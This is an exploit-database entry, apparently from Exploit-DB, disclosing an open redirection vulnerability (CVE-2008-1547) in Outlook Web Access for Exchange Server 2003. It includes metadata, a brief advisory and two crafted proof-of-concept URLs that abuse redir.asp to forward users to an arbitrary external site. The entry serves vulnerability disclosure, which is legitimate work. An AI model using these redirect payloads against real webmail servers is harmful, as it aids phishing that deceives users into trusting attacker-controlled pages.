Microsoft Outlook Web Access for Exchange Server 2003 - 'redir.asp' Open Redirection

Author: Martin Suess
type: remote
platform: windows
port: 
date_added: 2008-10-15 
date_updated: 2014-03-25 
verified: 1 
codes: CVE-2008-1547;OSVDB-49230 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/31765/info

Outlook Web Access is prone to a remote URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks.

OWA 6.5 SP 2 is vulnerable; other versions may also be affected.

https://webmail.example.com/exchweb/bin/redir.asp?URL=http://www.example2.com

https://webmail.example.com/CookieAuth.dll?GetLogon?url=%2Fexchweb%2Fbin%2Fredir.asp%3FURL%3Dhttp%3A%2F%2Fwww.example2.com&reason=0